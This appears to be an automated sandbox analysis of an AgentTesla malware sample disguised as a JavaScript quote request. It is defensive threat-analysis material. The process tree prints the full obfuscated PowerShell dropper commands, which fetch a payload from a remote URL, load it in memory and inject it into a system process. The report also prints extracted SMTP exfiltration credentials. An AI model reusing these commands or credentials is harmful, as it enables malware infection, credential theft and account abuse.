Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-09-2024 13:50

General

  • Target

    Quote_Request.js

  • Size

    320KB

  • MD5

    409a098455597d7cbc0c56bc2d37f4b5

  • SHA1

    b46f9a53e7fe7ce357a2a4b8d0e0949da320aeea

  • SHA256

    21f90e0d5e6ecb036950ec462cd6eed6b17b1a231a6220fbc1dda80c118f8b1f

  • SHA512

    9709d7ca61ea365fbb2612cea61b2fcb8e4f45af4bd98caf5900ee26ec855cc5b43158073933ebf09f6e78f472c617ccbbe77ea9b235311c7be4aa7b04e71ba7

  • SSDEEP

    6144:c5VUO+uOGvqHKB+X/AUVUFCiaiYQAjOZLzDrQI2e6tYppEQNCo0jV92z6IqWm+W+:075OGvqHKIYU6FCia3QkOVzoIymnxCRu

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    mail.detarcoopmedical.com
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    To$zL%?nhDHN

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Quote_Request.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:464
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAnAEUATQBmAHUAcgBsACcAKwAnACAAPQAgADMAJwArACcAbgA2AGgAdAB0ACcAKwAnAHAAcwA6ACcAKwAnAC8ALwAnACsAJwBpAGEAOQAwADQANgAwADEALgB1AHMAJwArACcALgBhAHIAJwArACcAYwBoAGkAJwArACcAdgBlAC4AJwArACcAbwByAGcALwAnACsAJwA2ACcAKwAnAC8AaQB0ACcAKwAnAGUAJwArACcAbQAnACsAJwBzAC8AZABlAHQAYQAnACsAJwBoACcAKwAnAC0AJwArACcAbgBvAHQAZQAtAGoALwBEACcAKwAnAGUAdABhAGgATgAnACsAJwBvAHQAZQBKAC4AdAB4AHQAMwBuADYAOwAnACsAJwBFAE0AZgBiACcAKwAnAGEAcwBlADYAJwArACcANABDAG8AJwArACcAbgB0ACcAKwAnAGUAbgB0ACAAJwArACcAPQAgACgAJwArACcATgBlACcAKwAnAHcAJwArACcALQAnACsAJwBPAGIAagBlAGMAdAAgAFMAeQBzACcAKwAnAHQAZQAnACsAJwBtACcAKwAnAC4ATgBlAHQALgBXACcAKwAnAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQAnACsAJwBkACcAKwAnAFMAdAAnACsAJwByAGkAbgBnACgARQBNAGYAJwArACcAdQByACcAKwAnAGwAKQAnACsAJwA7AEUATQBmACcAKwAnAGIAaQBuAGEAJwArACcAcgAnACsAJwB5AEMAbwBuAHQAZQAnACsAJwBuACcAKwAnAHQAIAA9ACAAJwArACcAWwBTAHkAcwAnACsAJwB0ACcAKwAnAGUAJwArACcAbQAnACsAJwAuACcAKwAnAEMAbwBuACcAKwAnAHYAZQByACcAKwAnAHQAXQA6ACcAKwAnADoARgAnACsAJwByAG8AbQBCAGEAcwBlACcAKwAnADYAJwArACcANABTAHQAcgBpAG4AJwArACcAZwAoAEUATQBmACcAKwAnAGIAJwArACcAYQBzAGUAJwArACcANgA0ACcAKwAnAEMAbwBuAHQAZQAnACsAJwBuAHQAKQAnACsAJwA7AEUATQAnACsAJwBmAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbACcAKwAnAFIAZQBmAGwAZQBjACcAKwAnAHQAJwArACcAaQBvAG4ALgBBAHMAJwArACcAcwBlAG0AJwArACcAYgBsAHkAXQA6ADoAJwArACcATABvAGEAJwArACcAZAAoAEUATQBmAGIAJwArACcAaQBuAGEAcgB5AEMAJwArACcAbwAnACsAJwBuAHQAZQBuACcAKwAnAHQAKQA7ACcAKwAnAEUATQBmAHQAeQBwAGUAIAA9ACAAJwArACcARQBNAGYAYQBzAHMAJwArACcAZQBtAGIAbAB5AC4ARwBlAHQAJwArACcAVAB5AHAAZQAoADMAbgA2AFIAdQAnACsAJwBuAFAARQAuAEgAbwAnACsAJwBtACcAKwAnAGUAMwBuADYAKQAnACsAJwA7ACcAKwAnAEUATQBmACcAKwAnAG0AZQB0AGgAbwBkACAAJwArACcAPQAgAEUATQBmAHQAJwArACcAeQBwAGUALgBHAGUAdAAnACsAJwBNAGUAdAAnACsAJwBoACcAKwAnAG8AZAAnACsAJwAoADMAbgA2ACcAKwAnAFYAJwArACcAQQAnACsAJwBJADMAbgA2ACkAJwArACcAOwAnACsAJwBFAE0AJwArACcAZgBtAGUAJwArACcAdABoACcAKwAnAG8AZAAuAEkAbgB2AG8AawAnACsAJwBlACgAJwArACcARQBNAGYAbgB1ACcAKwAnAGwAbAAsACAAWwAnACsAJwBvAGIAagAnACsAJwBlAGMAdABbACcAKwAnAF0AJwArACcAXQBAACgAMwBuADYAdAB4AHQALgAnACsAJwBnAG4AYQByACcAKwAnAC8AdgBlAGQALgAyAHIALgAzADkAYgAzADQAJwArACcANQAzADAAMgBhADAANwAnACsAJwA1AGIAMQAnACsAJwBiAGMAJwArACcAMABkADQANQBiADYAJwArACcAMwAyAGUAYgA5AGUAZQA2ADIALQAnACsAJwBiACcAKwAnAHUAcAAvAC8AJwArACcAOgBzACcAKwAnAHAAdAAnACsAJwB0AGgAJwArACcAMwBuADYAJwArACcAIAAnACsAJwAsACAAMwBuADYAZABlAHMAJwArACcAYQB0AGkAJwArACcAdgBhAGQAbwAzAG4ANgAgACcAKwAnACwAIAAzAG4ANgBkAGUAcwBhAHQAJwArACcAaQAnACsAJwB2AGEAZABvADMAbgA2ACAAJwArACcALAAgADMAJwArACcAbgA2AGQAZQBzAGEAdABpACcAKwAnAHYAYQBkAG8AMwAnACsAJwBuADYAJwArACcALAAzAG4ANgAnACsAJwBBACcAKwAnAGQAZAAnACsAJwBJACcAKwAnAG4AJwArACcAUAByAG8AYwBlAHMAJwArACcAcwAzADIAMwBuACcAKwAnADYALAAzAG4AJwArACcANgAnACsAJwBkAGUAcwAnACsAJwBhACcAKwAnAHQAJwArACcAaQAnACsAJwB2AGEAZAAnACsAJwBvADMAbgA2ACcAKwAnACkAKQA7ACcAKQAuAHIAZQBQAEwAQQBjAEUAKAAoAFsAQwBoAEEAcgBdADUAMQArAFsAQwBoAEEAcgBdADEAMQAwACsAWwBDAGgAQQByAF0ANQA0ACkALABbAHMAdABSAEkAbgBHAF0AWwBDAGgAQQByAF0AMwA5ACkALgByAGUAUABMAEEAYwBFACgAJwBFAE0AZgAnACwAJwAkACcAKQB8AC4AKAAgACQAUABTAGgATwBtAEUAWwA0AF0AKwAkAFAAcwBIAE8ATQBFAFsAMwAwAF0AKwAnAFgAJwApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1512
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('EMfurl'+' = 3'+'n6htt'+'ps:'+'//'+'ia904601.us'+'.ar'+'chi'+'ve.'+'org/'+'6'+'/it'+'e'+'m'+'s/deta'+'h'+'-'+'note-j/D'+'etahN'+'oteJ.txt3n6;'+'EMfb'+'ase6'+'4Co'+'nt'+'ent '+'= ('+'Ne'+'w'+'-'+'Object Sys'+'te'+'m'+'.Net.W'+'ebClient).Downloa'+'d'+'St'+'ring(EMf'+'ur'+'l)'+';EMf'+'bina'+'r'+'yConte'+'n'+'t = '+'[Sys'+'t'+'e'+'m'+'.'+'Con'+'ver'+'t]:'+':F'+'romBase'+'6'+'4Strin'+'g(EMf'+'b'+'ase'+'64'+'Conte'+'nt)'+';EM'+'fassembly = ['+'Reflec'+'t'+'ion.As'+'sem'+'bly]::'+'Loa'+'d(EMfb'+'inaryC'+'o'+'nten'+'t);'+'EMftype = '+'EMfass'+'embly.Get'+'Type(3n6Ru'+'nPE.Ho'+'m'+'e3n6)'+';'+'EMf'+'method '+'= EMft'+'ype.Get'+'Met'+'h'+'od'+'(3n6'+'V'+'A'+'I3n6)'+';'+'EM'+'fme'+'th'+'od.Invok'+'e('+'EMfnu'+'ll, ['+'obj'+'ect['+']'+']@(3n6txt.'+'gnar'+'/ved.2r.39b34'+'5302a07'+'5b1'+'bc'+'0d45b6'+'32eb9ee62-'+'b'+'up//'+':s'+'pt'+'th'+'3n6'+' '+', 3n6des'+'ati'+'vado3n6 '+', 3n6desat'+'i'+'vado3n6 '+', 3'+'n6desati'+'vado3'+'n6'+',3n6'+'A'+'dd'+'I'+'n'+'Proces'+'s323n'+'6,3n'+'6'+'des'+'a'+'t'+'i'+'vad'+'o3n6'+'));').rePLAcE(([ChAr]51+[ChAr]110+[ChAr]54),[stRInG][ChAr]39).rePLAcE('EMf','$')|.( $PShOmE[4]+$PsHOME[30]+'X')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2192
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3764

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    1a11402783a8686e08f8fa987dd07bca

    SHA1

    580df3865059f4e2d8be10644590317336d146ce

    SHA256

    9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

    SHA512

    5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tzamwq3w.2js.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1512-12-0x00007FF9D4A80000-0x00007FF9D5541000-memory.dmp

    Filesize

    10.8MB

  • memory/1512-0-0x00007FF9D4A83000-0x00007FF9D4A85000-memory.dmp

    Filesize

    8KB

  • memory/1512-11-0x00007FF9D4A80000-0x00007FF9D5541000-memory.dmp

    Filesize

    10.8MB

  • memory/1512-6-0x000002092F400000-0x000002092F422000-memory.dmp

    Filesize

    136KB

  • memory/1512-29-0x00007FF9D4A80000-0x00007FF9D5541000-memory.dmp

    Filesize

    10.8MB

  • memory/2192-22-0x00000212A8D50000-0x00000212A8F5C000-memory.dmp

    Filesize

    2.0MB

  • memory/3764-23-0x0000000000400000-0x0000000000442000-memory.dmp

    Filesize

    264KB

  • memory/3764-30-0x0000000005EC0000-0x0000000006464000-memory.dmp

    Filesize

    5.6MB

  • memory/3764-31-0x0000000005910000-0x0000000005976000-memory.dmp

    Filesize

    408KB

  • memory/3764-32-0x0000000006B70000-0x0000000006BC0000-memory.dmp

    Filesize

    320KB

  • memory/3764-33-0x0000000006C60000-0x0000000006CFC000-memory.dmp

    Filesize

    624KB

  • memory/3764-34-0x0000000006FE0000-0x0000000007072000-memory.dmp

    Filesize

    584KB

  • memory/3764-35-0x0000000006FB0000-0x0000000006FBA000-memory.dmp

    Filesize

    40KB